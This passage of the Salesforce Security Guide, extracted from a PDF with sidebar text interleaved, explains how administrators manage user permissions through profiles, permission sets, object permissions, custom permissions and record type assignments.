Find box, then select Permission Sets, then select or create a permission set. Then from the
Permission Set Overview page, click App Permissions or System Permissions.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
The user permissions
available vary according to
which edition you have.

IN THIS SECTION:
User Permissions and Access
User permissions and access settings are specified in profiles and permission sets. To use them effectively, understand the differences
between profiles and permission sets.
Permission Sets
A permission set is a collection of settings and permissions that give users access to various tools and functions. The settings and
permissions in permission sets are also found in profiles, but permission sets extend users’ functional access without changing their
profiles.

User Permissions and Access
User permissions and access settings are specified in profiles and permission sets. To use them
effectively, understand the differences between profiles and permission sets.

EDITIONS

User permissions and access settings specify what users can do within an organization:

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

• Permissions determine a user's ability to edit an object record, view the Setup menu, empty
the organizational Recycle Bin, or reset a user's password.
• Access settings determine other functions, such as access to Apex classes, app visibility, and
the hours when users can log in.
Every user is assigned only one profile, but can also have multiple permission sets. When determining
access for your users, use profiles to assign the minimum permissions and access settings for specific
groups of users. Then use permission sets to grant more permissions as needed.
This table shows the types of permissions and access settings that are specified in profiles and
permission sets.
Permission or Setting Type

In Profiles?

In Permission Sets?

Assigned apps

The available permissions
and settings vary according
to which Salesforce edition
you have.
Permission sets available in:
Essentials, Contact
Manager, Professional,
Group, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

Salesforce Security Guide

Permission or Setting Type

User Permissions

In Profiles?

In Permission Sets?

Tab settings
Record type assignments
Page layout assignments
Object permissions
Field permissions
User permissions (app and system)
Apex class access
Visualforce page access
External data source access
Service provider access (if Salesforce is
enabled as an identity provider)
Custom permissions
Desktop client access
Login hours
Login IP ranges

IN THIS SECTION:
Revoking Permissions and Access

Revoking Permissions and Access
You can use profiles and permission sets to grant access, but not to deny access. Any permission
granted from either a profile or permission set is honored. For example, if “Transfer Record” isn't
enabled in Jane Smith's profile, but is enabled in two of her permission sets, she can transfer records
regardless of whether she owns them. To revoke a permission, you must remove all instances of
the permission from the user. You can do this with the following actions—each has possible
consequences.
Action

Consequence

Disable a permission or remove an access setting The permission or access setting is disabled for
in the profile and any permission sets that are all other users assigned to the profile or
assigned to the user.
permission sets.
If a permission or access setting is enabled in The user may lose other permissions or access
the user's profile, assign a different profile to the settings associated with the profile or permission
user.
sets.
AND

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in:Essentials,
Contact Manager,
Professional, Group,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

Salesforce Security Guide

Action

User Permissions

Consequence

If the permission or access setting is enabled in any permission
sets that are assigned to the user, remove the permission set
assignments from the user.

To resolve the consequence in either case, consider all possible options. For example, you can clone the assigned profile or any assigned
permission sets where the permission or access setting is enabled. Then, disable the permission or access setting, and assign the cloned
profile or permission sets to the user. Another option is to create a base profile with the least number of permissions and settings that
represents the largest number of users possible. Then create permission sets that layer more access.

Permission Sets
A permission set is a collection of settings and permissions that give users access to various tools
and functions. The settings and permissions in permission sets are also found in profiles, but
permission sets extend users’ functional access without changing their profiles.
Users can have only one profile but, depending on the Salesforce edition, they can have multiple
permission sets. You can assign permission sets to various types of users, regardless of their profiles.
Create permission sets to grant access among logical groupings of users, regardless of their primary
job function. For example, let’s say you have several users with a profile called Sales User. This profile
allows assignees to read, create, and edit leads. Some, but not all, of these users also need to delete
and transfer leads. Instead of creating another profile, create a permission set.

Or, let’s say you have an Inventory custom object in your org. Many users need “Read” access to this object, and a smaller number of
users need “Edit” access. You can create a permission set that grants “Read” access and assign it to the appropriate users. You can then
create another permission set that gives “Edit” access to the Inventory object and assign it to the smaller group of users.
If a permission isn’t enabled in a profile but is enabled in a permission set, users with that profile and permission set have the permission.
For example, if “Manage Password Policies” isn’t enabled in Jane Smith’s profile but is enabled in one of her permission sets, she can
manage password policies.
IN THIS SECTION:
Create and Edit Permission Set List Views
You can create and edit permission set list views to show a list of permission sets with specific fields and permissions. For example,
you could create a list view of all permission sets in which “Modify All Data” is enabled.
Edit Permission Sets from a List View
You can change permissions in up to 200 permission sets directly from the list view, without accessing individual permission sets.
App and System Settings in Permission Sets
In permission sets, permissions and settings are organized into app and system categories. These categories reflect the rights users
need to administer and use system and app resources.

Salesforce Security Guide

User Permissions

Permission Set Assigned Users Page
From the Assigned Users page, you can view all users who are assigned to a permission set, assign more users, and remove user
assignments.
Search Permission Sets
To quickly navigate to other pages in a permission set, you can enter search terms in any permission set detail page.
View and Edit Assigned Apps in Permission Sets
Assigned app settings specify the apps that users can select in the Lightning Platform app menu.
Assign Custom Record Types in Permission Sets
Enable Custom Permissions in Permission Sets
Custom permissions give you a way to provide access to custom processes or apps. After you’ve created a custom permission and
associated it with a process or app, you can enable the permission in permission sets.
Manage Permission Set Assignments
You can assign permission sets to a single user from the user detail page or assign multiple users to a permission set from any
permission set page.

Create and Edit Permission Set List Views
You can create and edit permission set list views to show a list of permission sets with specific fields
and permissions. For example, you could create a list view of all permission sets in which “Modify
All Data” is enabled.
1. In the Permission Sets page, click Create New View, or select a view and click Edit.
2. Enter the view name.
3. Under Specify Filter Criteria, specify the conditions that the list items must match, such as
Modify All Data equals True.
a. Type a setting name, or click

to search for and select the setting you want.

b. Choose a filter operator.
c. Enter the value that you want to match.
Tip: To show only permission sets with no user license, enter User License for
the Setting, set the Operator to equals, and enter "" in the Value field.
d. To specify another filter condition, click Add Row. You can specify up to 25 filter condition
rows.
4. Under Select Columns to Display, specify the settings that you want to appear as columns in
the list view. You can add up to 15 columns.

USER PERMISSIONS
To create, edit, and delete
permission set list views:
• Manage Profiles and
Permission Sets

a. From the Search drop-down list, select a setting type.
b. Enter the first few letters of the setting you want to add and click Find.
Note: If the search finds more than 500 values, no results appear. Refine your search criteria to show fewer results.
5. Click Save, or if you're cloning an existing view, rename it and click Save As.

Salesforce Security Guide

User Permissions

Edit Permission Sets from a List View
You can change permissions in up to 200 permission sets directly from the list view, without
accessing individual permission sets.
Note: Use care when editing permission sets with this method. Making mass changes can
have a widespread effect on users in your organization.
1. Select or create a list view that includes the permission sets and permissions you want to edit.
2. To edit multiple permission sets, select the checkbox next to each one you want to edit. If you
select permission sets on multiple pages, the selections on each page are remembered.
3. Double-click the permission you want to edit. For multiple permission sets, double-click the
permission in any of the selected permission sets.
4. In the dialog box that appears, enable or disable the permission. In some cases, changing a
permission can also change other permissions. For example, if “Manage Cases” and “Transfer
Cases” are enabled in a permission set and you disable “Transfer Cases,” then “Manage Cases”
is also disabled. In this case, the dialog box lists the affected permissions.
5. To change multiple permission sets, select All n selected records (where n is the number
of permission sets you selected).
6. Click Save.

USER PERMISSIONS
To edit multiple permission
sets from the list view:
• Manage Profiles and
Permission Sets

If you edit multiple permission sets, only the permission sets that support the permission you are
editing change. For example, let’s say you use inline editing to enable “Modify All Data” in ten
permission sets, but one permission set doesn’t have “Modify All Data.” In this case, “Modify All Data” is enabled in all the permission
sets, except the one without “Modify All Data.”
Any changes you make are recorded in the setup audit trail.

App and System Settings in Permission Sets
In permission sets, permissions and settings are organized into app and system categories. These
categories reflect the rights users need to administer and use system and app resources.

EDITIONS

App Settings

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All
underlying objects, components, data, and configurations remain the same, regardless of the
selected app. In selecting an app, users navigate in a set of tabs that allows them to efficiently use
the underlying functionality for app-specific tasks. For example, let's say you do most of your work
in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing
campaign, rather than adding the Campaigns tab to the sales app, you select Marketing from the
app drop-down to view your campaigns and campaign members.

Available in:Essentials,
Contact Manager,
Professional, Group,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

The Apps section of the permission sets overview page contains settings that are directly associated
with the business processes the apps enable. For example, customer service agents might need to
manage cases, so the “Manage Cases” permission is in the Call Center section of the App Permissions page. Some app settings aren't
related to app permissions. For example, to enable the Time-Off Manager app from the AppExchange, users need access to the appropriate
Apex classes and Visualforce pages, as well as the object and field permissions that allow them to create new time-off requests.

Salesforce Security Guide

User Permissions

System Settings
Some system functions apply to an organization and not to any single app. For example, “View Setup and Configuration” allows users
to view setup and administrative settings pages. Other system functions apply to all apps. For example, the “Run Reports” and “Manage
Dashboards” permissions allow managers to create and manage reports in all apps. In some cases, such as with “Modify All Data,” a
permission applies to all apps, but also includes non-app functions, like the ability to download the Data Loader.

Permission Set Assigned Users Page
From the Assigned Users page, you can view all users who are assigned to a permission set, assign
more users, and remove user assignments.

EDITIONS

To view all users who are assigned to a permission set, from any permission set page, click Manage
Assignments. From the Assigned Users page, you can:

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

• Assign users to the permission set
• Remove user assignments from the permission set
• Edit a user
• View a user's detail page by clicking the name, alias, or username
• View a profile by clicking the profile name

Available in:Essentials,
Contact Manager,
Professional, Group,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

USER PERMISSIONS
To view users that are
assigned to a permission
set:
• View Setup and
Configuration

Salesforce Security Guide

User Permissions

Search Permission Sets
To quickly navigate to other pages in a permission set, you can enter search terms in any permission
set detail page.

EDITIONS

On any of the permission sets detail pages, type at least three consecutive letters of an object,

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

setting, or permission name in the
Find Settings... box. The search terms aren't case-sensitive.
As you type, suggestions for results that match your search terms appear in a list. Click an item in
the list to go to its settings page.
For some categories, you can search for the specific permission or setting name. For other categories,
search for the category name.
Item

Search for

Example

Assigned apps

App name

Type sales in the Find Settings box, then
select Sales from the list.

Objects

Object name

Let’s say you have an Albums custom object.
Type albu, then select Albums.

• Fields

Parent object name

Let’s say your Albums object contains a
Description field. To find the Description
field for albums, type albu, select Albums,
and scroll down to Description under
Field Permissions.

Tabs

Tab or parent object
name

Type rep, then select Reports.

App and system
permissions

Permission name

Type api, then select API Enabled.

All other categories

Category name

To find Apex class access settings, type apex,
then select Apex Class Access. To find
custom permissions, type cust, then select
Custom Permissions. And so on.

• Record types

Available in:Essentials,
Contact Manager,
Professional, Group,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

USER PERMISSIONS
To search permission sets:
• View Setup and
Configuration

If you don’t get any results, don’t worry. Here’s some tips that can help:
• Check if the search term has at least three consecutive characters that match the object, setting, or permission name.
• The permission, object, or setting you're searching for might not be available in the current Salesforce org.
• The item you’re searching for might not be available for the user license that’s associated with the current permission set. For example,
a permission set with the Standard Platform User license doesn’t include the “Modify All Data” permission.
• The permission set license associated with the permission set doesn’t include the object, setting, or permission name you’re searching
for.

Salesforce Security Guide

User Permissions

View and Edit Assigned Apps in Permission Sets
Assigned app settings specify the apps that users can select in the Lightning Platform app menu.
Unlike profiles, you can’t assign a default app in permission sets. You can only specify whether apps
are visible.
To assign apps:
1. From Setup, enter Permission Sets in the Quick Find box, then select Permission
Sets.
2. Select a permission set, or create one.
3. On the permission set overview page, click Assigned Apps.
4. Click Edit.
5. To assign apps, select them from the Available Apps list and click Add. To remove apps from
the permission set, select them from the Enabled Apps list and click Remove.
6. Click Save.

USER PERMISSIONS
To edit assigned app
settings:
• Manage Profiles and
Permission Sets

Assign Custom Record Types in Permission Sets
1. From Setup, enter Permission Sets in the Quick Find box, then select Permission
Sets.

EDITIONS

2. Select a permission set, or create one.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

3. On the permission set overview page, click Object Settings, then click the object you want.
4. Click Edit.
5. Select the record types you want to assign to this permission set.
6. Click Save.
IN THIS SECTION:
How is record type access specified?
You can assign record types to users in their profile or permission sets, or a combination of
both. Record type assignment behaves differently in profiles and permission sets.

Record types available in:
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To assign record types in
permission sets:
• Manage Profiles and
Permission Sets

Salesforce Security Guide

User Permissions

How is record type access specified?
You can assign record types to users in their profile or permission sets, or a combination of both.
Record type assignment behaves differently in profiles and permission sets.

EDITIONS

• A user’s default record type is specified in the user’s personal settings. You can’t specify a default
record type in permission sets.

Available in: both Salesforce
Classic (not available in all
orgs) and Lightning
Experience

• You can assign the --Master-- record type in profiles. In permission sets, you can assign
only custom record types. The behavior for record creation depends on which record types are
assigned in profiles and permission sets.
If users have this record And this total number of When they create a
type on their profile...
custom record types in record...
their permission sets...
--Master--

None

The new record is associated
with the Master record type

--Master--

One

The new record is associated
with the custom record type.
Users can’t select the Master
record type.

--Master--

Multiple

Users are prompted to select
a record type.

Custom

One or more

Users are prompted to select
a record type. In their personal
settings, users can set an
option to use their default
record type and not be
prompted to choose a record
type.

Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

• Page layout assignments are specified in profiles only—they’re not available in permission sets. When a permission set specifies a
custom record type, users with that permission set get the page layout assignment that’s specified for that record type in their profile.
(In profiles, page layout assignments are specified for every record type, even when record types aren’t assigned.)
• For lead conversion, the default record type specified in a user’s profile is used for the converted records.
• Users can view records assigned to any record type. As a result, a page layout is assigned to every record type on a user's profile. A
record type assignment on a user’s profile or permission set doesn’t determine whether a user can view a record with that record
type. The record type assignment simply specifies that the user can use that record type when creating or editing a record.
• Record types in permission sets aren’t supported in packages and change sets. As a result, any record type assignments in permission
sets in a sandbox organization must be manually reproduced in a production organization.

Salesforce Security Guide

User Permissions

Enable Custom Permissions in Permission Sets
Custom permissions give you a way to provide access to custom processes or apps. After you’ve
created a custom permission and associated it with a process or app, you can enable the permission
in permission sets.
1. From Setup, enter Permission Sets in the Quick Find box, then select Permission
Sets.
2. Select a permission set, or create one.
3. On the permission set overview page, click Custom Permissions.
4. Click Edit.
5. To enable custom permissions, select them from the Available Custom Permissions list and
then click Add. To remove custom permissions from the permission set, select them from the
Enabled Custom Permissions list and then click Remove.
6. Click Save.

EDITIONS
Available in: both Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Essentials,
Group, Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions
In Group and Professional
Edition organizations, you
can’t create or edit custom
permissions, but you can
install them as part of a
managed package.

USER PERMISSIONS
To enable custom
permissions in permission
sets:
• Manage Profiles and
Permission Sets

Manage Permission Set Assignments
You can assign permission sets to a single user from the user detail page or assign multiple users
to a permission set from any permission set page.

EDITIONS

• Assign Permission Sets to a Single User

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

• Assign a Permission Set to Multiple Users
• Remove User Assignments from a Permission Set
IN THIS SECTION:
Assign Permission Sets to a Single User
Assign permission sets or remove permission set assignments for a single user from the user
detail page.
Assign a Permission Set to Multiple Users
Assign a permission set to one or more users from any permission set page.

Available in:Essentials,
Contact Manager,
Professional, Group,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

Remove User Assignments from a Permission Set
From any permission set page, you can remove the permission set assignment from one or more users.

Salesforce Security Guide

User Permissions

Assign Permission Sets to a Single User
Assign permission sets or remove permission set assignments for a single user from the user detail
page.

EDITIONS

The Permission Set Assignments page shows:

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

• Permission sets with no associated license. For example, you can assign a permission set if None
was selected for the license type in the permission set. Make sure that the user’s license allows
all the permission set’s enabled settings and permissions. If the user’s license doesn’t allow
selected permissions, the assignment fails.
• Permission sets that match the user’s license. For example, if a user’s license is Chatter Only,
you can assign permission sets with the Chatter Only license.
• Permission sets specific to permission set licenses. Let’s say you create a permission set named
Identity and associate that permission set to the “Identity Connect” permission set license. When
you assign users to Identity, they receive all functionality available with the Identity Connect
permission set license.
Note: Some permissions require users to have a permission set license before you can grant
the permissions. For example, if you add the “Use Identity Connect” user permission to the
Identity permission set, you can assign only users with the Identity Connect permission set
license to the permission set.

Available in:Essentials,
Contact Manager,
Professional, Group,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

USER PERMISSIONS
To assign permission sets:
• “Assign Permission Sets”

1. From Setup, enter Users in the Quick Find box, then select Users.
2. Select a user.
3. In the Permission Set Assignments related list, click Edit Assignments.
4. To assign a permission set, select it under Available Permission Sets and click Add. To remove a permission set assignment, select
it under Enabled Permission Sets and click Remove.
5. Click Save.
Tip: You can perform this and other administration tasks from the SalesforceA mobile app.

Salesforce Security Guide

User Permissions

Assign a Permission Set to Multiple Users
Assign a permission set to one or more users from any permission set page.

EDITIONS

1. Select the permission set that you want to assign to users.
2. Click Manage Assignments and then Add Assignments.
3. Select the checkboxes next to the names of the users you want assigned to the permission set,
and click Assign.
Messages confirm success or indicate if a user doesn’t have the appropriate licenses for assignment.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in:Essentials,
Contact Manager,
Professional, Group,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

USER PERMISSIONS
To assign a permission set
to users:
• Assign Permission Sets

Remove User Assignments from a Permission Set
From any permission set page, you can remove the permission set assignment from one or more
users.

EDITIONS

1. From Setup, enter Permission Sets in the Quick Find box, then select Permission
Sets.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

2. Select a permission set.
3. In the permission set toolbar, click Manage Assignments.
4. Select the users to remove from this permission set.
You can remove up to 1000 users at a time.
5. Click Remove Assignments.
This button is only available when one or more users are selected.

Available in:Essentials,
Contact Manager,
Professional, Group,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

6. To return to a list of all users assigned to the permission set, click Done.

USER PERMISSIONS
To remove permission set
assignments:
• Assign Permission Sets

Salesforce Security Guide

Object Permissions

Object Permissions
Object permissions specify the base-level access users have to create, read, edit, and delete records
for each object. You can manage object permissions in permission sets and profiles.

EDITIONS

Object permissions either respect or override sharing rules and settings. The following permissions
specify the access that users have to objects.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

Permission

Description

Respects or
Overrides Sharing?

Read

Users can only view records of this type.

Respects sharing

Create

Users can read and create records.

Respects sharing

Edit

Users can read and update records.

Respects sharing

Delete

Users can read, edit, and delete records.

Respects sharing

View All

Users can view all records associated with this
object, regardless of sharing settings.

Overrides sharing

Modify All

Users can read, edit, delete, transfer, and
Overrides sharing
approve all records associated with this object,
regardless of sharing settings.

Available in: Professional,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

Note: “Modify All” on documents allows
access to all shared and public folders,
but not the ability to edit folder
properties or create new folders. To edit
folder properties and create new folders,
users must have the “Manage Public
Documents” permission.

IN THIS SECTION:
“View All” and “Modify All” Permissions Overview
The “View All” and “Modify All” permissions ignore sharing rules and settings, allowing administrators to grant access to records
associated with a given object across the organization. “View All” and “Modify All” can be better alternatives to the “View All Data”
and “Modify All Data” permissions.
Comparing Security Models

“View All” and “Modify All” Permissions Overview
The “View All” and “Modify All” permissions ignore sharing rules and settings, allowing administrators
to grant access to records associated with a given object across the organization. “View All” and
“Modify All” can be better alternatives to the “View All Data” and “Modify All Data” permissions.
Be aware of the following distinctions between the permission types.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: All Editions

Salesforce Security Guide

Object Permissions

Permissions

Used for

Users who need them

View All

Delegation of object permissions.

Delegated administrators who manage records for
specific objects

Managing all data in an organization; for example,
data cleansing, deduplication, mass deletion, mass
transferring, and managing record approvals.

Administrators of an entire organization

Modify All
View All Data
Modify All Data

Note: If a user requires access to metadata
but not to data, you can enable the Modify
Metadata permission (beta) to give the access
the user needs without providing access to
org data. See “Modify Metadata Permission
(Beta)” in Salesforce Help.

Users with View All Data (or Modify All Data)
permission can view (or modify) all apps and data,
even if the apps and data are not shared with them.

View All Users

Viewing all users in the organization. Grants Read
access to all users, so that you can see their user
record details, see them in searches, list views, and
so on.

Users who need to see all users in the organization.
Useful if the organization-wide default for the user
object is Private. Administrators with the “Manage
Users” permission are automatically granted the “View
All Users” permission.

“View All” and “Modify All” are not available for ideas, price books, article types, and products.
“View All” and “Modify All” allow for delegation of object permissions only. To delegate user administration and custom object
administration duties, define delegated administrators.
“View All Users” is available if your organization has User Sharing, which controls user visibility in the organization. To learn about User
Sharing, see User Sharing.

Comparing Security Models
Salesforce user security is an intersection of sharing, and user and object permissions. In some cases,
such as in end-user record level access, it is advantageous to use sharing to provide access to records.
In other cases, such as when delegating record administration tasks like transferring records, cleansing
data, deduplicating records, mass deleting records, and delegating workflow approval processes,
it is advantageous to override sharing and use permissions to provide access to records.
The “Read,” “Create,” “Edit,” and “Delete” permissions respect sharing settings, which control access
to data at the record level. The “View All” and “Modify All” permissions override sharing settings for
specific objects. Additionally, the “View All Data” and “Modify All Data” permissions override sharing
settings for all objects.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs)
Available in: Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

The following table describes the differences between the security models.
Permissions that Respect Sharing

Permissions that Override Sharing

Target audience

End-users

Delegated data administrators

Where managed

“Read,” “Create,” “Edit,” and “Delete” object “View All” and “Modify All”
permissions;
Sharing settings

Salesforce Security Guide

Object Permissions

Permissions that Respect Sharing

Permissions that Override Sharing

Record access levels

Private, Read-Only, Read/Write,
Read/Write/Transfer/Full Access

“View All” and “Modify All”

Ability to transfer

Respects sharing settings, which vary by
object

Available on all objects with “Modify All”

Ability to approve records, or edit and
unlock records in an approval process

None

Available on all objects with “Modify All”

Ability to report on all records

Available with a sharing rule that states: the Available on all objects with “View All”
records owned by the public group “Entire
Organization” are shared with a specified
group, with Read-Only access

Object support

Available on all objects except products,
documents, solutions, ideas, notes, and
attachments

Available on most objects via object
permissions

Group access levels determined by

Roles, Roles and Subordinates, Roles and
Internal Subordinates, Roles, Internal and
Portal Subordinates, Queues, Teams, and
Public Groups

Profile or permission sets

Private record access

Not available

Available on private contacts, opportunities,
and notes and attachments with “View All”
and “Modify All”

Ability to manually share records

Available to the record owner and any user Available on all objects with “Modify All”
above the record owner in the role hierarchy

Ability to manage all case comments

Not available

Note: “View All” and “Modify All”
are not available for ideas, price
books, article types, and products.

Available with “Modify All” on cases

Salesforce Security Guide

Custom Permissions

Custom Permissions
Use custom permissions to give users access to custom processes or apps.
In Salesforce, many features require access checks that specify which users can access certain
functions. Permission set and profiles settings include built-in access settings for many entities, like
objects, fields, tabs, and Visualforce pages. However, permission sets and profiles don’t include
access for some custom processes and apps. For example, for a time-off manager app, all users
might need to be able to submit time-off requests but only a smaller set of users need to approve
time-off requests. You can use custom permissions for these types of controls.
Custom permissions let you define access checks that can be assigned to users via permission sets
or profiles, similar to how you assign user permissions and other access settings. For example, you
can define access checks in Apex that make a button on a Visualforce page available only if a user
has the appropriate custom permission.
You can query custom permissions in these ways.
• To determine which users have access to a specific custom permission, use Salesforce Object
Query Language (SOQL) with the SetupEntityAccess and CustomPermission sObjects.
• To determine what custom permissions users have when they authenticate in a connected
app, reference the user's Identity URL, which Salesforce provides along with the access token
for the connected app.
IN THIS SECTION:
Create Custom Permissions
Create custom permissions to give users access to custom processes or apps.
Edit Custom Permissions
Edit custom permissions that give users access to custom processes or apps.

Salesforce Security Guide

Custom Permissions

Create Custom Permissions
Create custom permissions to give users access to custom processes or apps.
1. From Setup, enter Custom Permissions in the Quick Find box, then select Custom
Permissions.
2. Click New.
3. Enter the permission information:
• Label—the permission label that appears in permission sets
• Name—the unique name that’s used by the API and managed packages
• Description—optionally, a description that explains what functions the permission
grants access to, such as “Approve time-off requests.”
• Connected App—optionally, the connected app that’s associated with this permission
4. Click Save.

USER PERMISSIONS
To create custom
permissions:
• Manage Custom
Permissions

Salesforce Security Guide

Profiles

Edit Custom Permissions
Edit custom permissions that give users access to custom processes or apps.
1. From Setup, enter Custom Permissions in the Quick Find box, then select Custom
Permissions.
2. Click Edit next to the permission that you need to change.
3. Edit the permission information as needed.
• Label—the permission label that appears in permission sets
• Name—the unique name that’s used by the API and managed packages
• Description—optionally, a description that explains what functions the permission
grants access to, such as “Approve time-off requests.”
• Connected App—optionally, the connected app that’s associated with this permission
4. Click Save.

USER PERMISSIONS
To edit custom permissions:
• Manage Custom
Permissions

Profiles
Profiles define how users access objects and data, and what they can do within the application.
When you create users, you assign a profile to each one.
Watch how you can grant users access to objects using profiles.
Who Sees What: Object Access (English only)

Your org includes several standard profiles where you can edit a limited number of settings. With
editions that contain custom profiles, you can edit all permissions and settings except the user
license. In Contact Manager, Essentials Edition, and Group Edition orgs, you can assign standard
profiles to your users, but you can’t view or edit the standard profiles, and you can’t create custom
profiles.
Every profile belongs to exactly one user license type.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Professional,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions
Custom Profiles available in:
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions

IN THIS SECTION:
Work in the Enhanced Profile User Interface Page
In the enhanced profile user interface, the profile overview page provides an entry point for all settings and permissions for a profile.

Salesforce Security Guide

Profiles

Work in the Original Profile Interface
To view a profile on the original profile page, from Setup, enter Profiles in the Quick Find box, then select Profiles, then
select the profile you want.
Manage Profile Lists
Profiles define how users access objects and data, and what they can do within the application. When you create users, you assign
a profile to each one. To view the profiles in your organization, from Setup, enter Profiles in the Quick Find box, then
select Profiles.
Edit Multiple Profiles with Profile List Views
If enhanced profile list views are enabled for your organization, you can change permissions in up to 200 profiles directly from the
list view, without accessing individual profile pages.
Clone Profiles
Instead of creating profiles, save time by cloning existing profiles and customizing them.
Viewing a Profile's Assigned Users
To view all users that are assigned to a profile from the profile overview page, click Assigned Users (in the enhanced profile user
interface) or View Users (in the original profile user interface). From the assigned users page, you can:
View and Edit Tab Settings in Permission Sets and Profiles
Tab settings specify whether a tab appears in the All Tabs page or is visible in a tab set.
Enable Custom Permissions in Profiles
Custom permissions give you a way to provide access to custom processes or apps. After you’ve created a custom permission and
associated it with a process or app, you can enable the permission in profiles.

Salesforce Security Guide

Profiles

Work in the Enhanced Profile User Interface Page
In the enhanced profile user interface, the profile overview page provides an entry point for all
settings and permissions for a profile.

EDITIONS

To open the profile overview page, from Setup, enter Profiles in the Quick Find box,
then select Profiles and click the profile you want to view.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

IN THIS SECTION:
Assign Record Types and Page Layouts in the Enhanced Profile User Interface
App and System Settings in the Enhanced Profile User Interface
Search in the Enhanced Profile User Interface
To locate an object, tab, permission, or setting name on a profile page, type at least three
consecutive letters in the
Find Settings box. As you type, suggestions for results that
match your search terms appear in a list. Click an item in the list to go to its settings page.

USER PERMISSIONS
To view profiles:
• View Setup and
Configuration
To delete profiles and edit
profile properties:
• Manage Profiles and
Permission Sets

Salesforce Security Guide

Profiles

Assign Record Types and Page Layouts in the Enhanced Profile User Interface
In the enhanced profile user interface, Record Types and Page Layout Assignments settings determine
the record type and page layout assignment mappings that are used when users view records.
They also determine which record types are available when users create or edit records.
To specify record types and page layout assignments:
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile.
3. In the Find Settings... box, enter the name of the object you want and select it from the list.
4. Click Edit.
5. In the Record Types and Page Layout Assignments section, make changes to the settings as
needed.
Setting

Description

Record Types

Lists all existing record types for the object.
--Master-- is a system-generated record type that's used

when a record has no custom record type associated with it.
When --Master-- is assigned, users can't set a record
type to a record, such as during record creation. All other
record types are custom record types.
Page Layout Assignment

The page layout to use for each record type. The page layout
determines the buttons, fields, related lists, and other elements
that users with this profile see when creating records with the
associated record type. Since all users can access all record
types, every record type must have a page layout assignment,
even if the record type isn't specified as an assigned record
type in the profile.

Assigned Record Types

Record types that are checked in this column are available
when users with this profile create records for the object. If
--Master-- is selected, you can't select any custom record
types; and if any custom record types are selected, you can't
select --Master--.

Default Record Type

The default record type to use when users with this profile
create records for the object.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Enterprise,
Performance, Unlimited,
and Developer Editions
Record types available in:
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To edit record type and
page layout access settings:
• Manage Profiles and
Permission Sets

The Record Types and Page Layout Assignments settings have some variations for the following objects or tabs.
Object or Tab

Variation

Accounts

If your organization uses person accounts, the accounts object additionally includes
Business Account Default Record Type and Person Account Default Record Type
settings, which specify the default record type to use when the profile's users create
business or person account records from converted leads.

Salesforce Security Guide

Profiles

Object or Tab

Variation

Cases

The cases object additionally includes Case Close settings, which show the page layout
assignments to use for each record type on closed cases. That is, the same record type
may have different page layouts for open and closed cases. With this additional setting,
when users close a case, the case may have a different page layout that exposes how
it was closed.

Home

You can't specify custom record types for the home tab. You can only select a page
layout assignment for the --Master-- record type.

6. Click Save.
IN THIS SECTION:
Assign Record Types to Profiles in the Original Profile User Interface
After you create record types and include picklist values in them, add record types to user profiles. If you assign a default record type
to a profile, users with that profile can assign the record type to records that they create or edit.
Assign Page Layouts in the Original Profile User Interface
If you’re already working in an original profile user interface, you can access, view, and edit all page layout assignments easily in one
location.

Assign Record Types to Profiles in the Original Profile User Interface
After you create record types and include picklist values in them, add record types to user profiles.
If you assign a default record type to a profile, users with that profile can assign the record type to
records that they create or edit.
Note: Users can view records of any record type, even if the record type is not associated
with their profile.
You can associate several record types with a profile. For example, a user needs to create hardware
and software sales opportunities. In this case, you can create and add both “Hardware” and “Software”
record types to the user’s profile.
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.

EDITIONS
Available in: both Salesforce
Classic and Lightning
Experience
Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

2. Select a profile. The record types available for that profile are listed in the Record Type Settings
section.

USER PERMISSIONS

3. Click Edit next to the appropriate type of record.

To assign record types to
profiles:
• Customize Application

4. Select a record type from the Available Record Types list and add it to the Selected Record Types
list.

Master is a system-generated record type that's used when a record has no custom record
type associated with it. When you assign Master, users can't set a record type to a record, such as during record creation. All other
record types are custom record types.
5. From Default, choose a default record type.
If your organization uses person accounts, this setting also controls which account fields display in the Quick Create area of
the accounts home page.

Salesforce Security Guide

Profiles

6. If your organization uses person accounts, set default record type options for both person accounts and business accounts. From
the Business Account Default Record Type and then the Person Account Default Record Type
